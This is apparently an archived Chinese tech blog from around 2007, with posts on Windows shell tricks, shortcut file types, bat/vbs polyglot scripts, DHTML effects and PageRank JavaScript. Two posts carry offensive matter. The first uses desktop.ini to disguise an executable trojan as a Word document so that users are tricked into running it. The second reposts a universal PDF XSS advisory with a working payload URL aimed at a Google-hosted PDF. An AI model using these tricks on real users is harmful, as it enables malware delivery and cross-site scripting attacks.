这个 trick 有什么用呢?好处是,我可以建立一个缩写名字的文件夹,这样便于输入路径,然后用desktop.ini这么修改下,显示成全称,美观。往坏处想呢,我有个 trojan.exe,图标和Word文档的一样,放在一个名字叫 virus\ 的文件夹下,这个 virus\ 文件夹下面用一个 desktop.ini 把 trojan.exe 伪装成 letter.docx(Office 2003及以前是 .doc,2007就是 .docx 格式了),然后,社会工程学让用户点击这个文件……普通用户会说,这个文件的名字是 letter.doc(不是 letter.doc.exe ),是安全的,可以打开,双击后……一切都结束了。

图里面有两个文件,一个 fake letter.docx,其实是一个exe,双击可以直接运行,图标是用ResHacker伪装的Word2007的图标,另一个 Normal Word Document.docx 是真正的 Word 2007 文档。光凭外观,你能区分exe和docx么?

版权所有,转载请注明出处。

 

我是怎么发现这个秘密的呢?在这里:

%appdata%\Microsoft\Windows\Start Menu\desktop.ini
%appdata%\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini

 这可能是我期末考试前最后一篇blog了,这学期为了 .NET,Vista,Ubuntu欠了不少功课,郁闷啊~~

Posted

archive

Vista的“文件类型”到哪里去了?

以前要修改文件关联,比如说 .doc 文件的图标,一般是 资源管理器 的 工具 菜单(Win98下是 查看 菜单),点 文件和文件夹选项,然后点 文件类型,就可以修改了,但是在Vista下这招不管用了,到 控制面板 文件夹选项 里也没有找到。翻了一会儿,发现这个东西到 控制面板\默认程序\设置关联 里去了,呵呵。不过现在Vista下不能改图标了,只能动注册表了,郁闷。

Posted

archive

Universal XSS with PDF files: highly dangerous

Universal XSS with PDF files: highly dangerous

Jan 03 2007 02:20AM
pdp (architect) (pdp gnucitizen googlemail com) (3 replies)

I will be very quick and just point to links where you can read about
this issue.
It seams that PDF documents can execute JavaScript code for no
apparent reason by using the following template:
http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_
here
You must understand that the attacker doesn't need to have write
access to the specified PDF document. In order to get an XSS vector
working you need to have a PDF file hosted on the target and that's
all about it. The rest is just a matter of your abilities and desires.
This finding was originally mentioned by Sven Vetsch, on his blog.
This is a very good and quite interesting. Good work.
There is a POC I composed:
http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#so
mething=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20ret
urn%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%
20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20
%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%
20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20
=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20
%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.
com',%20true);xhr.send(null);
More on the matter can be found here:
http://www.gnucitizen.org/blog/danger-danger-danger/
http://www.disenchant.ch/blog/hacking-with-browser-plugins/34
--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org

Posted

archive

[原创]vbs/bat混合编程(2006-12-5修订版,支持参数传递)

这个想法我思考了很久。

巧妙利用 bat 和 vbs 的语法特征,让同一个文件,被 cmd.exe 识别成批处理,让 wscrpt.exe 识别成 vbs,并且同时符合两者的语法,并且保证都没有错误,保证两者的高度兼容。经过一个通宵的努力,我实现了这种 bat/vbs 复合编程。


一个 批处理  .vbs 文件,在前面加一段代码(头),就变成了 .bat 批处理,注意,没有生成临时文件,不用修改任何原有代码。

例子:保存下列代码为 test.bat,注意是批处理,但是这个批处理却成功的被 wsh 解析执行了!

CODE:  [Copy to clipboard]
:On Error Resume Next
:Sub bat
echo off & cls
echo Batching_codez_here_following_vbs_rules & pause >nul
echo '>nul & start "" wscript //e:vbscript "%~f0" %*
Exit Sub : End Sub
MsgBox "This is vbs"
for each i in wscript.arguments
wscript.echo i
next
 

保存代码为 test.bat,可以看到 echo 出来的东西和 msgbox 出来的消息,呵呵

以上代码只是一个示例,同时执行了 一段 批处理 和 vbs,没有生成临时文件。用了大量的 hack 技巧

下面粗略解释下代码

:On Error Resume Next

cmd.exe 识别成一段注释
wscript.exe 这样识别, : 在vbs语法里代表分行,然后 On Error Resume Next,也就是让WSH忽略一些错误

echo '>nul & start "" wscript //e:vbscript "%~f0" %*

cmd.exe 识别成:echo一个 '  到 空设备,也就是什么都不显示。& 的意思是同时执行,那么同时执行了 start "" wscript //e:vbscript "%~f0" %*,也就是启动WSH,用VBS语法解析自身。

这段代码的核心思想已经介绍完毕了。下面,为了让 批处理 以vbs调用其自身后,马上退出,我们需要 exit 或者 goto :eof,但是 goto call exit 在vbs又是一个关键词,所以我们只能用符合 vbs 语法的 exit sub,所以我们在第二句加一个
:sub bat,作为注释 cmd.exe 跳过。然后在 6 句加一个 exit sub : end sub,让 批处理结束,exit 无论接什么参数都会使批处理退出的,同时又符合 vbs 的语法地借宿了一个 sub

那个 echo off & cls  ,批处理的意思就是相当于 @echo off ,但是 vbs 不认 @ 符号,所以改成 echo off & cls , vbs 可以解析为,调用一个叫 echo() 的函数,参数为 off & cls ,也就是两个字符串 off 和 cls 相加

Well,接下来,你可以自由地在批处理中书写vbs脚本了,效率和真正的vbs一样高!

这段代码的好处是:不用生成临时文件。其实用 echo 或者 more 或者 find 来生成临时vbs很浪费系统资源的,用我写的这段代码,就完全免去了这些麻烦。直接混合编程,以 start wscript -e:vbs "%~f0" 为界限,上面写 批处理,下面写 vbs,并行不悖!

Posted

archive

[原创]Windows的11种快捷方式(2006-12-21修订版)

 

快捷方式,很多人的反映就是那个小箭头,其实Windows支持9种快捷方式。

关于这个格式

1. *.lnk
这是微软的通用快捷方式,很多电脑初学者当年就是把一个500MB的游戏在桌面上的1k大小的快捷方式复制到软盘里,然后回家双击打开一看,发现Windows提示“找不到路径”云云。后来才明白这只是个快捷方式。

在命令行里打开一个 lnk 文件: Rundll32.exe url.dll, FileProtocolHandler %L

lnk 的二进制格式 http://www.vckbase.com/document/viewdoc/?id=1411

其实 .LNK根 Windows Shell 的关系比较紧密,在 Windows Vista 里,很多 Shell 对象都可以通过 .lnk 文件来打开,所以 lnk 文件里全部是用 CLSID 作为引导

在wsh/vbs里操作 .lnk 文件 script56.chm::/html/wsconManagingShortcuts.htm
 

2. *.url

.url 文件的格式和 .inf 的相似:
http://www.cyanwerks.com/file-format-url.html

3. *.pif

这是相当古老的一种格式了
http://www.smsoft.ru/en/pifdoc.htm

4. FolderShortcut

这个是未公开的一种快捷方式吧,不要理解成 文件夹快捷方式了,我记得是从Win98就开始用这个东东了,貌似是和 Active Desktop 技术一起出现的。国内的首次公开是在这个帖子 http://bbs.onegreen.net/TopicOther.asp?t=5&BoardID=2&id=1414 ,最简单的 文件夹快捷方式 是把一个文件夹拖放到 开始菜单

如下图:上面那个是直接拖放生成的 文件夹快捷方式,下面的是传统的 lnk 快捷方式。两者的明显不同是: 文件夹快捷方式 是可以在菜单里显示所指向目标文件夹的内容的。

更为可喜的是,文件夹快捷方式没有小箭头!

文件夹快捷方式的属性有点怪怪的呢

手工建立 文件夹快捷方式 的方法:
1. 在目标文件夹里建立一个 系统 隐藏 属性的 desktop.ini(cmd里 attrib +S +h desktop.ini),内容为:
[.ShellClassInfo]
CLSID2={0AFACED1-E828-11D1-9187-B532F1E9575D}
Flags=2
2. 保存,建立一个 一般的快捷方式,指向你的目标地址,名称为:target.lnk (必须是这个!)。
3. 把该文件夹设为 只读 属性

貌似文件夹快捷方式只能指向 文件夹 和 URL,不能指向文件。其实 文件夹快捷方式用在黑克攻防领域是相当的爽的,特别是结合 .lnk .url 的一些溢出,几乎是百发百中!(谁会想到,打开一个文件也会中病毒?)

5. HardLink

NTFS的一大特性。在XP下可以通过 fsutil 建立(需要管理员权限)。

C:\WINDOWS\system32>fsutil hardlink create
用法 : fsutil hardlink create <新文件名> <现有文件名>
例如 : fsutil hardlink create c:\foo.txt c:\bar.txt

HardLink有什么用呢?可以把一个文件,放到很多目录下,但是只占一个文件的空间,有点像那些 n 合 1 的光盘的原理。所以hardlink可以用来骗人啦,例如,我把我的一个2GB的GHOST镜像文件hardkink 1000次,那么我看这些所有文件的属性就是一个 2TB 啦,呵呵,其实我的硬盘没这么大。Hardlink 可以用来解决很多问题。比如说,系统里很多 dll 是重复的,我们就可以把一个 dll 做成很多 hardlink,这样可以大大的节省空间。需要注意的是,Hardlink 只实用于NTFS的分区,一个文件只能被Hardlink 1024ci ,而且只能在同一分区建立。

6. Junction Point

相比于Hardlink,Junction Point 可以看作文件夹的硬连接吧,Vista里 Junction 已经被完全的符号连接取代了。

7. Reparse Point

和Hardlink有点类似,不过是针对文件夹的,还是fsutil命令来管理

C:\WINDOWS\system32>fsutil reparsepoint
---- 支持的 REPARSEPOINT 命令 ----

query           查询重分析点
delete          删除重分析点

不过要建立的话,可以通过SysInternals的又一款作品 http://www.sysinternals.com/files/junction.zip  来建立

8. Symbolic Links

符号连接允许你创建一个指针(pointer),从目录的一个位置指向实际上位于别处的文件。NTFS并没有真正实现类似于UNIX系统中的符号连接,但通过重解析点,这种功能被模拟出来。实际上,一个符号连接就是一个重解析点,它将对一个文件的访问重定向到另一个文件。

9. Mount Point

可以通过 mountvol 命令来管理。严格的说这已经不是快捷方式了,不过可以把一个储存媒体挂载到一个NTFS的文件夹下。

9. Shell Object

其实呢,“字体”文件夹就是一种典型的 Shell 对象。下载ShellExtViewShellObjectEditor

10. Shell Command

常见的有

显示桌面.csf,内容为:
[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop

改文件会DDE调用explorer来显示桌面

查看频道.scf

[Shell]
Command=3
IconFile=shdocvw.dll,-118

[IE]
Command=Channels

explorer.scf


[Shell]
Command=2
IconFile=explorer.exe,1

[Taskbar]
Command=Explorer

 我总觉得 .scf 根 GNOME里的 .desktop 文件很相似呢,呵呵

还有一种是复制文件的时候,拖放对象的一种特殊快捷方式,这类快捷方式都是 0 字节的文件,也是通过DDE调用的。例如:
我的文档.mydocs
ZIP压缩文件夹.ZFSendToTarget
桌面.desklink
邮件.mapmail

Windows所支持的快捷方式基本上就这些了,快捷方式以极小的代价把一个文件在不同的位置展现了出来,给系统的使用带来了很大的方便,同时也带来了很多未知的安全隐患。如果有时间的话,下次继续,《快捷方式攻防战》

[内有附件]

Posted

archive

CSS Filter: Light

Added light FX to the picture on the left

code:

 

<img
style="filter:light();"
id="mypic"
src="C:\windows\web\wallpaper\bliss.bmp"
onload="javascript:this.filters.light.addCone(this.width/2,this.height/2,100,this.width/2,this.height/2,255,255,255,100,30)"
onmousemove="javascript:this.filters.light.moveLight(0,event.offsetX,event.offsetY,200,1)"
/>

 

Posted

archive

WinNT Namespace 与 ext3 结构

Linux的 ext3 文件系统结构是 一个 / 根,然后衍生出整个PC的文件、设备、一切。 其实呢,WinNT 也是这样设计的,只是没有暴露给用户罢了。说白了, C:\ D:\ 等只是一个符号连接。如图:用了反汇编高手WQXNETQIQI推荐的工具,Sysinternals 的大作:WinObj

 在 cmd 命令行里,我们可以通过
tree \\?\CdRom0
来查看机器上第一个光驱的 目录结构,也可以通过
type \\?\GLOBALROOT\Device\CdRom0\autorun.inf
来读取 第一个光驱根目录下 autorun.ini 的内容。

是不是和 Linux 的 cat /media/cdrom 有点相似呢?

再看看一个WinNT NTFS的的命令:
C:\>mountvol
创建、删除或列出卷装载点。
MOUNTVOL [drive:]path VolumeName
MOUNTVOL [drive:]path /D
MOUNTVOL [drive:]path /L

    \\?\Volume{d1dd98a0-85e1-11db-9bf6-806d6172696f}\
        C:\
    \\?\Volume{d1dd98a1-85e1-11db-9bf6-806d6172696f}\
        D:\
    \\?\Volume{d1dd98a2-85e1-11db-9bf6-806d6172696f}\
        E:\
    \\?\Volume{aa4a8921-f599-11da-9600-806d6172696f}\
        F:\
    \\?\Volume{b2938600-f565-11da-a449-806d6172696f}\
        G:\
    \\?\Volume{aa4a8920-f599-11da-9600-806d6172696f}\
        A:\

输入
C:\>dir \\?\Volume{d1dd98a0-85e1-11db-9bf6-806d6172696f}\Windows
就相当于
dir %WinDir% 了。

输入
type \\?\GLOBALROOT\Device\HardDiskVolume1\boot.ini
就相当于
type C:\Boot.ini

看来Windows 也有一个类似于 ext3 的文件系统啊。加上 Windows Shell Namespace,应该比 ext3 丰富了吧。

粗略的估计,用命令行可以查看一些Win32的 NamedPipe 和 内存、TCP 连接的情况。由于本人才疏学浅,不知道从哪里入手,不过总体感觉是:Windows  到底还是MS几亿美金打造的OS,还是有其深刻内涵的。从这点看来,Linux又显得原始了点。

[内有附件]

Posted

archive

[原]JavaScript 获得 Google PageRank

<script>

alert(GetPageRank("http://www.dormforce.net"));

function GetPageRank(strUrl)
{
 sURL="http://toolbarqueries.google.com/search?client=navclient-auto&ch=" + GetPR(strUrl) + "&ie=UTF-8&oe=UTF-8&features=Rank&q=info:" + encodeURIComponent(strUrl);
 var xmlHttp = new ActiveXObject("msxml2.xmlhttp")
 xmlHttp.open("GET",sURL,0);
 xmlHttp.setRequestHeader("User-Agent","Mozilla\/4.0 (compatible; GoogleToolbar 2.0.110.4-big; Windows 2000 5.0)");
 xmlHttp.send();
 return(xmlHttp.responseText);
}

function GetPR(url)
{
 url ="info:" + url;
 ch = GoogleCH(str_asc(url));
 ch = "6" + ch
 return ch;
}

function str_asc(string)
{
 result = new Array();
 lin = string.length;
 for(i=0;i<lin;i++)
 {
  result[i] = string.substring(i).charCodeAt(0);
 }
 return result;
}

function yiweitwo(a, b)
{
 z = 0x80000000;
 
 if (z & a)
 {
  a = (a>>1);
  a &= (~z);
  a |= 0x40000000;
  a = (a>>(b-1));
 }
 else
 {
  a = (a>>b);
 }
 return a;
}

function yiwei(a,b,c)
{
 a -= b; a -= c; a ^= (yiweitwo(c,13));
 b -= c; b -= a; b ^= (a<<8);
 c -= a; c -= b; c ^= (yiweitwo(b,13));
 a -= b; a -= c; a ^= (yiweitwo(c,12));
 b -= c; b -= a; b ^= (a<<16);
 c -= a; c -= b; c ^= (yiweitwo(b,5));
 a -= b; a -= c; a ^= (yiweitwo(c,3));
 b -= c; b -= a; b ^= (a<<10);
 c -= a; c -= b; c ^= (yiweitwo(b,15));
 
 var myarray = new Array (a,b,c);
 
 return myarray;
}

function GoogleCH(url)
{
 length = url.length;
 
 a = b = 0x9E3779B9;
 c = 0xE6359A60;
 k = 0;
 len = length;
 while(len >= 12)
 {
  a += (url[k+0] +(url[k+1]<<8) +(url[k+2]<<16) +(url[k+3]<<24));
  b += (url[k+4] +(url[k+5]<<8) +(url[k+6]<<16) +(url[k+7]<<24));
  c += (url[k+8] +(url[k+9]<<8) +(url[k+10]<<16)+(url[k+11]<<24));
  mid = yiwei(a,b,c);
  a = mid[0]; b = mid[1]; c = mid[2];
  k += 12;
  len -= 12;
 }
 
 c += length;
 switch(len)
 {
  case 11:
     {
      c+=(url[k+10]<<24);
      c+=(url[k+9]<<16);
      c+=(url[k+8]<<8);
      b+=(url[k+7]<<24);
      b+=(url[k+6]<<16);
      b+=(url[k+5]<<8);
      b+=(url[k+4]);
      a+=(url[k+3]<<24);
      a+=(url[k+2]<<16);
      a+=(url[k+1]<<8);
      a+=(url[k+0]);
      break;
  }
  case 10:
    {
      c+=(url[k+9]<<16);
      c+=(url[k+8]<<8);
      b+=(url[k+7]<<24);
      b+=(url[k+6]<<16);
      b+=(url[k+5]<<8);
      b+=(url[k+4]);
      a+=(url[k+3]<<24);
      a+=(url[k+2]<<16);
      a+=(url[k+1]<<8);
      a+=(url[k+0]);
      break;
     } 
  case 9 :
  {
      c+=(url[k+8]<<8);
      b+=(url[k+7]<<24);
      b+=(url[k+6]<<16);
      b+=(url[k+5]<<8);
      b+=(url[k+4]);
      a+=(url[k+3]<<24);
      a+=(url[k+2]<<16);
      a+=(url[k+1]<<8);
      a+=(url[k+0]);
      break;
     }
  case 8 :
     {
      b+=(url[k+7]<<24);
      b+=(url[k+6]<<16);
      b+=(url[k+5]<<8);
      b+=(url[k+4]);
      a+=(url[k+3]<<24);
      a+=(url[k+2]<<16);
      a+=(url[k+1]<<8);
      a+=(url[k+0]);
      break;
     } 
  case 7 :
     {
      b+=(url[k+6]<<16);
      b+=(url[k+5]<<8);
      b+=(url[k+4]);
      a+=(url[k+3]<<24);
      a+=(url[k+2]<<16);
      a+=(url[k+1]<<8);
      a+=(url[k+0]);
      break;
     }
  case 6 :
     {
      b+=(url[k+5]<<8);
      b+=(url[k+4]);
      a+=(url[k+3]<<24);
      a+=(url[k+2]<<16);
      a+=(url[k+1]<<8);
      a+=(url[k+0]);
      break;
     }
  case 5 :
     {
      b+=(url[k+4]);
      a+=(url[k+3]<<24);
      a+=(url[k+2]<<16);
      a+=(url[k+1]<<8);
      a+=(url[k+0]);
      break;
     } 
  case 4 :
     {
      a+=(url[k+3]<<24);
      a+=(url[k+2]<<16);
      a+=(url[k+1]<<8);
      a+=(url[k+0]);
      break;
     } 
  case 3 :
     {
      a+=(url[k+2]<<16);
      a+=(url[k+1]<<8);
      a+=(url[k+0]);
      break;
     }
  case 2 :
     {
      a+=(url[k+1]<<8);
      a+=(url[k+0]);
      break;
     } 
  case 1 :
     {
      a+=(url[k+0]);
      break;
     }
 }
 mid = yiwei(a,b,c);
 return mid[2];
}
</script>

其中ch效俭算法是参考网上ASP版的。

Posted

archive

[原创]XP关机对话框的变灰dHTML特效

<!-- This element has the filter applied. -->

<DIV ID="oTrans" STYLE="position:absolute; top:0px; left:0px; width:100%; height:100%;
        background-image=url(file:///C:/WINDOWS/Web/Wallpaper/Bliss.bmp);
        filter:progid:DXImageTransform.Microsoft.Fade(duration=2);">
<BUTTON onclick="fnToggle()">Logout</BUTTON>

<DIV ID="oTrans1" STYLE="position:absolute; top:0px; left:0px; width:100%; height:100%; visibility:hidden;
        background-image=url(file:///C:/WINDOWS/Web/Wallpaper/Bliss.bmp);
        filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1);">
<BUTTON onclick="fnToggle()">Cancel</BUTTON>
</DIV>

</DIV>




<SCRIPT>
var bTranState = 0;


function fnToggle()
{
    oTrans.filters[0].Apply();
   
    if (bTranState==0)
    {
                bTranState = 1;
                oTrans1.style.visibility="visible";
        }
    else
    {
            oTrans.filters[0].stop();
                bTranState = 0;
                oTrans1.style.visibility="hidden";
        }

    oTrans.filters[0].Play();
}

</SCRIPT>

 

初次写 js 特效,有点不精简,呵呵。

最开始是做一个 div ,直接用 fade 和 baseimage 两个虑境,但是由于某些原因,fade虑境被省略了,于是做两个 img 呵呵。

我最开始是发布在51js上的,搜索了下,网上已经有人乱转代码了。国内软件行业就这种抄过去抄过来的混乱。

Posted

archive

[原创]dHTML特效 alpha虑境之柔和边缘效果

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

asdasd

 

<marquee
height="200px"
direction="up"
onmouseover="this.stop()"
onmouseout="this.start()"
style="
overflow-y:scroll;
filter:
alpha(Style=1,StartX=0,StartY=80,FinishX=0,FinishY=100)
alpha(Style=1,StartX=0,StartY=20,FinishX=0,FinishY=0)
;
">
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
asdasd<br />
</marquee>

Posted

archive

vbs 调用 Win32 API

Option Explicit
Dim UserWrap
Set UserWrap = CreateObject("DynamicWrapper")

' Call MessageBoxA(), first register the API function
UserWrap.Register "USER32.DLL", "MessageBoxA", "I=HsSu", _
                 "f=s", "R=l"
' now call the function
UserWrap.MessageBoxA Null, "MessageBox (ANSI)", _
        "From DynaWrap Object", 3

 Readme.txt

This is the dynacall.dll that I described as "bringing back the Declare
statement"  in VBScript. Basically it will allow you to call functions
in other dlls...like any of the win32 api functions. This will be my
only distribution.

Many thanks to Ton Plooy and Jeff Stong who wrote the code and published
it in WDJ. And more thanks to William Epp for getting it to work with my
sample script ccupd.vbs using the GETPROFILESTRING function. However I
have another function in the sample that still doesn't work
GETPROFILESECTION. This is a work in progress but I think it is a handy
little feature. Hopefully by this distributions it will get where it
needs to be. Clarence and Ian have offered to post it on their sites so
further updates can be had at either WSH site. (anyone else call this
thing woosh? Hopefully it will perform this way).

Basically you declare functions and other DLLS like this:

'   Create the wrapper object for dynamic DLL function calling
Dim UserWrap
Set UserWrap = CreateObject("DynamicWrapper")
'   GetProcAddress for GetPrivateProfileStringA()
UserWrap.Register "kernel32.DLL", "GetPrivateProfileString", "i=ssssls",
"f=s", "r=l"


The input parameters are:

i=describes the number and data type of the functions parameters

f=type of call _stdcall or _cdecl. So it can work with both MS C++ and
Borland C++. Default to _stdcall. If that doesn't work use _cdecl. If
that doesn't work good luck!

r=return data type.


Data types are:

const ARGTYPEINFO ArgInfo[] =
{
{'a', sizeof(IDispatch*),    VT_DISPATCH}, // a   IDispatch*
{'c', sizeof(unsigned char), VT_I4},       // c   signed char 
{'d', sizeof(double),        VT_R8},       // d   8 byte real
{'f', sizeof(float),         VT_R4},       // f   4 byte real
{'k', sizeof(IUnknown*),     VT_UNKNOWN},  // k   IUnknown*
{'h', sizeof(long),          VT_I4},       // h   HANDLE
{'l', sizeof(long),          VT_I4},       // l   long
{'p', sizeof(void*),         VT_PTR},      // p   pointer
{'s', sizeof(BSTR),          VT_LPSTR},    // s   string
{'t', sizeof(short),         VT_I2},       // t   short
{'u', sizeof(UINT),          VT_UINT},     // u   unsigned int
{'w', sizeof(BSTR),          VT_LPWSTR},   // w   wide string
}

William Epp added anr 'r' for VT_BYREF (pass by reference)but is for
strings only. This made the GETPROFILESTRING function to work. But it
didn't work for the GETPROFILESECTION. If anyone gets it to work please
let me know.


Attachments:

stong.zip - original download from WDJ
DynaWrap.zip - the modified code, the DLL with modifications.
feature.htm - the feature article for this code by Jeff Stong. Only
thing I could find on WDJ. I couldn't find Ton's article.

http://cwashington.netreach.net/site/downloads.html

http://www.mvps.org/scripting/

[内有附件]

Posted

archive